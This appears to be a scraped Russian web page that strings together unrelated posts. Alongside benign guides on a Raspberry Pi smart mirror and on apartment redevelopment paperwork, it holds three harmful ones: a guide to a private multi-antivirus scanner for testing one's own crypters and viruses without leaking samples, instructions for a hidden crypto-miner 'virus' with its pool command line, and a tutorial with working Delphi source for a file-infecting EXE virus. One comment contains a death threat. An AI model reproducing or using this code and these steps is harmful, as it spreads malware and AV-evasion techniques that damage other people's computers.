Как создать беспалевный вирус
Всем привет, шёл-шёл-шёл и нашёл, что хотел-то, ах-да, на hpc.name нарвался на прикольную статью от уважаемого M@ZAX@KEP (https://hpc.name/thread/18891/p1.html)
Там у них ролик почему-то битый в архиве, пришлось восстановить и залить, но об этом позже, сейчас сама статья:
Наверняка многим из нас хоть раз (а может и больше) приходилось пользоваться сервисами онлайн-проверки файлов, наподобие вирустотал или novirusthanks. При чём я имею ввиду не те случаи, когда вы анализировали подозрительный файл, а когда вам нужно было протестировать свой криптор или вирус, дабы узнать, какими антивирусами они палятся.
Кстати, вы любите убивать зайцев? А сразу двух? xD Сейчас этим и займёмся: нашаманим систему проверки файлов несколькими антивирусами, естественно, не сливающую никакой инфы антивирусным компаниям.
Подготовка рабочей среды для нашей системы:
Думаю, не разумно грузить на свою машину сразу несколько антивирусов, зачем так насиловать систему? Ставить будем на виртуалку. Посему качаем и устанавливаем виртуалку, которая вам роднее, а я буду всё делать на VirtualBox.
Ставим на нашу виртуальную машину любую никсовую систему, в обязательном порядке настраиваем на виртуалке инет, ибо как потом сигнатуры обновлять?
Почему именно Linux? Да потому, что виндоуз разрабатывалась с ориентацией на графический интерфейс, а в никсе всё наоборот. GUI прифигачен поверх операционки для удобоваримости. Для нас это означает возможность работать через командную строку со всеми приложениями и антивирусами. В масдае подобного не наблюдалось и в ходе тщетных экспериментов получилась система всего с 4 антивирусами. не серьёзно.
Итак, линух поставили, инет настроили. Всё работает? Зашибись, теперь нужно скачать антивиры. Начнём со скромного набора из 8 антивирей, просто чтобы понять суть моей задумки и принцип организации системы. При желнии набор антивирусников можно будет в дальнейшем расширить.
Прямых линков на закачку не даю, ибо я хз какой дистриб вы поставите. =) Так что выбираем и качаем антивири каждый под свою систему. Лично у меня Ubuntu 10.04 x64.
Ока качается, сделайте бутерброд, без него дальше никак!
А лучше вообще убрать их из автозапуска (в моём наборе туда садятся только nod32 и dr.web). Ещё раз повторюсь, что нам нужен только сканер, всё остальное можно смело вырубать. В т.ч. различные запланированные проверки, проверки памяти при запуске и т.п.
Всё отрубили? Должно немного полегчать… чувствуете облегчение? Нет? Значит у вас слишком мощный комп. xD
Создание системы сканирования и отчётов:
После того, как всё было установлено и настроено, приступим к более глубокому ковырянию наших авирей, а именно – их консольного интерфейса. Суть этой затеи состоит в том, чтобы написать скрипт, который будет отдавать антивирусам команды на сканирование файла и записи отчётов в логи, а затем соберёт все отчёты в более читабельный вид.
Надеюсь, идея ясна, с этого момента можно начинать смотреть видео, а всё нижеследующее будет просто своеобразной памяткой к нему:
Весь процесс можно описать в 3 шага:
- разобрать, как юзать авир через терминал
- составить команду, проверяющую файл и записывающую отчёт в файл лога
- составить команду для обновления антивирусных баз
Список моих команд для сканирования получился таким:
Обратите внимание, что каждый антивирус помещает свой отчёт в отдельный файл. Некоторые антивирусы не перезаписывают файл лога, а продолжают запись в его конец. В этом случае мы удаляем старый файл перед сканированием, чтобы было больше порядка в логах. Последняя строка кода открывает все файлы из папки логов в текстовом редакторе gedit. Если в вашем дистре другой редактор по умолчанию, можете попробовать провернуть ту же байду через него, если не получится, сделаете sudo apt-get install gedit
Вот скрипт для обновления антивирусных сигнатур:
При добавлении новых антивирусов в вашу коллекцию, не забудьте добавить в скрипты ещё одну строку того же вида, что и все остальные. Думаю, ничего сложного в такой работе по шаблону не будет, принцип я показал на примере аж 8 АВеров =).
Вот, собственно, и всё! Теперь у нас есть собственный сервис проверки файлов несколькими антивирусами, не отсылающий файлы антивирусным компаниям, не требующий постоянного наличия инета (ну мало ли что), да ещё и работающий быстрее онлайн-сервисов (закачивать файл и ждать в очереди на проверку-то не надо)!
Осталось только решить проблему с ключиками для некоторых антивирусов… хотя найти их не так уж и сложно, было бы желание. А ещё можно переустанавливать их сколько влезет вместе со всей виртуалкой, если не влом, конечно… xD ну или как вариант можно переводить часы на основной машине перед запуском виртуалки (сам не пробовал, но по логике должно работать ).
*все материалы рассказаны чисто в ознакомительных целях
Если что вирусов нет, и не надо об этом пиздеть!
Некоторые не имеют мощных ферм майнинговых, а так хочется заработать криптовалюту. Заработать крипту без нагрузки на ваш комп, ноут, например вирус майнер. Как раз о нём и пойдёт речь.
-2. Далее переходим по ссылке и скачивает файлы: (пароль к архиву 123)
(если у вас windows 10, и не перекидывается файл oxi joiner, то значит windows defender бузит, и его надо выключить на время)
-3. далее заходим в oxi joiner
Кликаем два раза и ставим галочки: скрытый, системный, скрытый
Пишем в строке *параметры командной строки* по такой схеме(без ковычек):
-a cryptonight -o stratum+tcp://eu.btc.pool.minergate.com:3333#notls -u "ваш email с которого вы вошли на minergate" -t 2
-4. далее нажимаем на шестерёнку и выбераем место и название нашего вируса
Здравствуйте, я - молдавский вирус. В виду бедности моего создателя и общей отсталости развития высоких технологий нашей страны, я не в силах причинить какой-либо вред вашему компьютеру. Пожалуйста, сотрите сами несколько самых нужных вам файлов, а затем разошлите меня по почте своим друзьям.
Благодарю за понимание и сотрудничество.
ссука, аж кровь из глаз хлынула!
@moderator, тут мамкин погроммист
в ссылке и есть вирус видимо
e-mail не принимает да?
@moderator призыв к мошонничеству
@moderator, ссылки на посторонние сайты, да и вообще, скользкая тема
@moderator, тут что-то незаконное.
Тебя нужно убивать максимально жестоким и бесчеловечным способом.
Надеюсь вам эта инфа поможет не сдохнуть от голода))
Кстати, как там твоя игра?
Кредит под квартиру небось взял?
Процесс создания умного зеркала на raspberry pi.
Что нам потребуется :
-raspberry pi 2-4(в моем случае raspberry pi 4)
-Карта памяти не меньше 8гб
-блок питания 5В
-монитор, чем больше тем лучше (я использовал 24-х дюймовый монитор)
-зеркало гизелла или стекло с наклеенной зеркальной плёнкой
-рамка для зеркала
-hdmi провод
-провод питания для raspberry pi и для монитора
6)Дожидаемся окончания установки операционной системы.
7)После перезагрузки видим установленный Raspbian
Установка MagicMirror:
Здесь все предельно просто.
открываем окно терминала и вводим эту команду
После установки запустится окно умного зеркала,чтобы его свернуть нажимаем Ctrl+M.
Включение русского языка:
1)Переходим по адресу /home/pi/MagicMirror/config и открываем config.js(далее просто конфиг) в текстовом редакторе. В строке language заменяем значение "en" на "ru". Сохраняем файл config.js.
2)Разворачиваем окно MagicMirror и перезапускаем его сочетанием клавиш Ctrl+R. Теперь все модули, кроме комплиментов и новостей, переведены на русский язык.
Настройка погоды:
1)По этой ссылке скачиваем архив городов, распаковываем его и находим свой город.
2)Регистрируемся на Openweathermap.org по этой ссылке и получаем api_key
3)Открываем конфиг, ищем модули "currentweather", "weatherforecast". В поле location указываем ваш город. В поле locationID указываем ID города из скачанного архива. В поле appid указываем api_key, который мы получили на openweathermap.org.
Сохраняем все изменения и перезагружаем MagicMirror. Теперь модуль погоды показывает погоду вашего города
Настройка календаря :
Открываем конфиг и ищем модуль "calendar". В поле header указываем название календаря, оно будет отображаться в зеркале . В поле URL вы можете указать URL своего календаря Google, Icloud или любого другого календаря.
Сохраняем конфиг и перезапускаем приложение MagicMirror.
Настройка новостей :
В конфиге находим модуль "newsfeed". В поле title изменяем название источника новостей, а в поле URL указываем ссылку на источник новостей rss.
Сохраняем конфиг и перезапускаем приложение MagicMirror. Теперь модуль новостей показывает новости из источника, который вы указали.
Модуль комплиментов :
Лично я отключил этот модуль(удалил в конфиге). Кому-то понравится этот модуль, поэтому опишу процесс изменения английских комплиментов на русские.
Переходим по адресу home/pi/MagicMirror /modules/default/compliments/ и Открываем файл compliments.js в текстовом редакторе. Находим строку compliments, ниже указаны комплименты на английском, заменяем на свои и сохраняем файл. Перезапускаем приложение MagicMirror. Теперь текст в модуле комплименты отображается на русском языке.
Добавление других модулей:
1)Переходим по ссылке, выбираем интересующий вас модуль и скачиваем его.
2)скачанный модуль перемещаем по адресу :home/pi/MagicMirror /modules/
3)Изучаем файл Readme и редактииуем конфиг согласно инструкции.
4)Сохраняем все изменения и перезапускаем MagicMirror.
Автозапуск MagicMirror при перезагрузке raspberry pi:
1)Открываем окно терминала и вводим эти команды:
Откроется редактор текста, добавляем следующие строки:
/MagicMirror
DISPLAY=:0 npm start
Сохраняем изменения и закрываем, используя сочетания клавиш CTRL+O и CTRL+X.
Далее поочерёдно вводим эти команды :
Закрываем окно терминала и перезагружаем RaspbianOS. Теперь при перезагрузке MagicMirror запускается автоматически
Отключение сна :
Открываем окно термина и вводим команду:
sudo nano /etc/xdg/lxsession/LXDE-pi/autostart
Выходим, сохраняя изменения и вводим новую команду:
С программной частью закончено, осталось только сделать рамку для зеркало и собрать все в единное устройство.
Спасибо всем кто дочитал этот пост до конца попытался описать все наиболее подробно и понятно.
Как самостоятельно согласовать перепланировку в квартире.
Пару дней назад завершил 11 месячную эпопею по самостоятельному согласованию перепланировки в квартире. Т.к. до этого нигде в интернете не мог найти четкий порядок действий (везде только реклама жуликов-юристов либо написанное сухим юридическим языком, типа "подготовить перечень в соответствии с п.п.231 ст.234 распоряжения №2362387. "), решил запилить пост, чтобы мой опыт не пропал даром. Может, кому-то пригодится. Действие происходило в Красногвардейском районе г.Санкт-Петербурга, но,думаю, порядок действий не сильно отличается регионально.
Итак, исходные данные: Санкт-Петербург, квартира в кирпично-монолитном доме, был перенос нескольких НЕ НЕСУЩИХ стен и перенос нескольких дверей в этих стенах (никакого противозаконного треша-типа сноса несущих стен и перемещения санузлов по квартире).
Началось все с того, что мы купили квартиру с идиотской планировкой. Сразу же решили перенести стены и двери в соответствии с нашими хотелками. Перенесли да и жили себе спокойно, но решили продавать квартиру, расширятся. Соответственно, встал вопрос о согласовании перепланировки (т.к. без этого банк покупателей не одобрит нашу квартиру под ипотеку, а с ипотекой происходит 80% сделок). Сразу оговорюсь, я делал все уже после проведения перепланировки-это не правильно с точки зрения закона. В начале все нужно согласовать,а потом делать.
Естественно, мне, как и любому нормальному человеку, было впадлу самому этим заниматься, я пошел в интернет, нашел там кучу контор занимающихся согласованием и запросил у них оценить мою проблему. Получил я примерно следующее:
От подобных ценников я, называя это литературным языком,сильно огорчился.
(Сейчас,пройдя процедуру,я могу сказать, что половина написанного полная херня, либо раздувание простого действия в суперсложный процесс, типа "Инструкции по использованию туалетной бумаги")
Т.к. мне особо не горело по времени, решил пройти все этапы согласования самостоятельно, а не кормить жуликоватые юрконторы.
Итак, приступим.Что нужно сделать,чтобы самостоятельно согласовать перепланировку. Все по порядку с хронологией и ценами. Можно действовать прям по списку.
1. Убедиться, что ваша перепланировка может быть узаконена. Перечень того,что не может быть узаконено легко найти в интернете (снос несущих стен, перемещение санузлов-они не должны находиться над жилыми комнатами,снос вентстояков и прочий треш)
2.Получить "Акт осмотра вентканалов"+копия пожарной лицензии конторы,которая этот акт выдаст.
Находите в интернете любую контору по запросу, она должна иметь пожарную лицензию. Стоит 1300 р. за один стояк. (обычно их 2-санузел и кухня),т.е. 2600 р. Приезжает человек,осматривает и выдает этот акт и копию лицензии. (Далее,я буду указывать даты,когда я это сделал-10.02.2018)
3. Заказать в МФЦ выписку из ЕГРН (Услуги Росреестра).
Перед обращением в непосредственно в окно МФЦ. Оплатить там же госпошлину за выписку 750 р. (Обратить внимание на реквизиты-в Питере несколько подразделений Росреестра с похожими названиями). Для заказа нужно знать кадастровый номер квартиры, его можно узнать по телефону 8 800-100-34-34, назвав адрес. Электронную выписку они не принимаю,им нужна заверенная печатью МФЦ.(15.02.2018).
4. Пойти в ПИБ(Проектно-Инвентаризационное Бюро) своего района и заказать проект перепланировки (Проект делает ГУП ГУИОН, можно заказать в любой конторе,имеющий допуск СРО на проектирование. Я решил заказать в государственной конторе-у них и опыт большой,и чтоб при согласовании не докапывались)
-Акт осмотра вентканалов,
-Выписку из ЕГРН (обязательно заверенную печатью МФЦ)
-Технический паспорт на квартиру (если есть)
-Деньги на карточке,что бы оплатить проект (наличку не принимают,придется идти в Сбер оплачивать по квитанции)
Стоимость проектирования рассчитывается как-то исходя из площади квартиры, я за 67 м2 заплатил 20 380 р.(27.02.2018)
(01.03.2018 со мной связался проектировщик и приехал в квартиру для обмеров.
16.03.2018 Позвонил проектировщик, сказал т.к. на стенах были розетки-нужно еще проект по электрике.
20.03.2018 Приехал в ПИБ, оплатил проект по электрике 8 450 р.)
05.04.2018 Позвонили из ПИБ, приехал к ним, забрал его.
5. Пойти в МФЦ и подать документы на согласование перепланировки.
-Всех собственников с паспортами (либо натариально заверенную доверку от них)
-Проект в 2 экземплярах (тот,что был результатом шага 4.)
Официальный срок согласования 45 дней.
05.04.2018 подал документы
07.06.2018 получил согласование перепланировки и проект в МФЦ.
6. Отнести проект с отметкой о согласовании в ПИБ и заказать обмерные работы.
(Подразумевается,что между п.5 и П.6 вы как раз и осуществляли работы по проведению перепланировки,даты работ будут указаны в согласовании)
08.06.2018 заказал обмер, заплатил 4 150 р. за это.(зависит от площади квартиры)
21.06.2018 пришли обмерщики,сделали обмер
27.06.2018 отдали обмер в ПИБ.
7. Отнести в МВК района (Межведомственная комиссия района) следующий
пакет документов для получения "Акта о вводе в эксплуатацию":
-Договор с подрядной организацией на выполнение работ по перепланировке (С копией выписки из реестра СРО.в которой организация состоит)
- Договор на осуществление технического надзора (Если технадзор осуществляет не другая организация,а та же,что и строит -Копию приказа о назначении ответственного за технадзор)
-Акт скрытых работ,с копией сертификатов на основные материалы (гипсокартон,профили,вата-есть на любом сайте их продающем)
-Договор на вывоз мусора.
Для подготовки этих документов лично мне помогли интернет,знание современных компьютерных программ и цветной принтер. Можно поискать в интернете-там сделают этот комплект документов примерно за 10 000 т.р.
После предоставления документов,от МВК должны приехать приемщики,засвидетельствовать,что все выполнено в соответствии с проектом.
09.07.2018 Отнес в МВК. Начал ждать обмерщиков.
20.08.2018 Позвонил уточнить как дела,где,мать его,обмерщики-куда-то там мои документы затерялись. Вывод-нужно компостировать им мозг.
24.09.2018 Приехали обмерщики,посмотрели,уехали,сказали-акт получите через месяц.
26.11.2018 Получил Акт о вводе в эксплуатацию в МВК. Вывод-нужно компостировать им мозг.
8. Заказать в МФЦ свежую выписку из ЕГРН (Услуги Росреестра),т.к. она должна быть не старше 3 месяцев, а пока идут вышеуказанные процессы,та.что была заказана в самом начале устаревает.Перед обращением в непосредственно в окно МФЦ. Оплатить там же госпошлину за выписку 750 р. Делается 3 дня.
30.11.2018 Заказал выписку.
05.12.2018 Получил выписку.
8.Пойти в ПИБ и заказать "Технический
паспорт" и "Технический план" квартиры.
-Проект с согласованием
-Выписку из ЕГРН не старше 3 месяцев
-Согласие на обработку персональных данных на всех собственников,подписанных СИНЕЙ ручкой (это очень важный момент! Бланки этого согласия дадут в ПИБе в один из визитов)
Заплатить за эти услуги. Рассчитывается от площади. Я заплатил 6250 р.
19.12.2018 Приехали обмерщики от ПИБ,померяли.
20.12.2018 Отдали в ПИБе Техпаспорт (Отнести в жилконтору) и CD диск для Росреестра.
9.Пойти в МФЦ и сдать документы для внесения изменений в Росреестре.
-CD диск из ПИБа
20.12.2018 Сдал документы.
13.01.2019 Получил выписку из ЕГРН с новыми данными.
Итого,что имеем в сухом остатке:
Срок согласования : 11 месяцев (с 10.02.2018 по 13.01.2019),если компостить мозги-можно на 2,5 мес быстрее.
Суммарные затраты: 43 330 если по п.7 сами (53 300 если через компании)
Количество посещений различных мест (МФЦ,ПИБ,МВК): суммарно 15 раз (очереди нигде больше 10 мин не было).
Дальше думайте сами-стоит платить 156 000 т.р. за то,что за вас сходят 15 раз в МФЦ и ПИБы или сделать это самому.
П.С. Предлагающие согласовать за 70 т.р.-не включают туда пошлины.проекты и прочее.
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.
HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC - более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.
HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
- тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.
Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:
MZТело злобного вируса |
MZКод программы |
Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
- заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
- будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:
MZтело злобного вируса |
XORed часть ориг. проги |
Неизменная часть ориг. проги |
В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
- parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:
Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
- вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.
Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.
Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:
program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;
Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.
Объяви теперь для своего могучего мозга следующие переменные и константы:
VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;
Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме
infected - это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:
SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],'c:\windows\program.exe',false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,'c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= '_'+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее 🙂
ErAsE (pr);
Erase (my);
Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
- на Delphi.
Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:
result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
end;
end;
//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
end else halt;
Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂
Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.
Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.
AssignFile - в WinAPI нет аналога - сопоставляет файл
с переменной типа File или TextFile
Reset - аналоги _lopen и CreateFile - открывает
существующий файл и устанавливает позицию
чтения в начало
ReWrite - _lcreate и CreateFile - создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено
BlockRead - _lread и ReadFile - читает в буфер
определенное количество данных из файла
BlockWrite - _lwrite и WriteFile - соответственно, пишет
данные в файл
SeekFile - _llseek и SetFilePointer - перемещает позицию
чтения/записи в открытом файле
CloseFile - _lclose и CloseHandle - закрывает открытый
файл
Erase - DeleteFile - удаление файла
FindFirst - FindFirstFile - поиск файла по критериям
FindNext - FindNextFile - поиск следующего файла
Читайте также: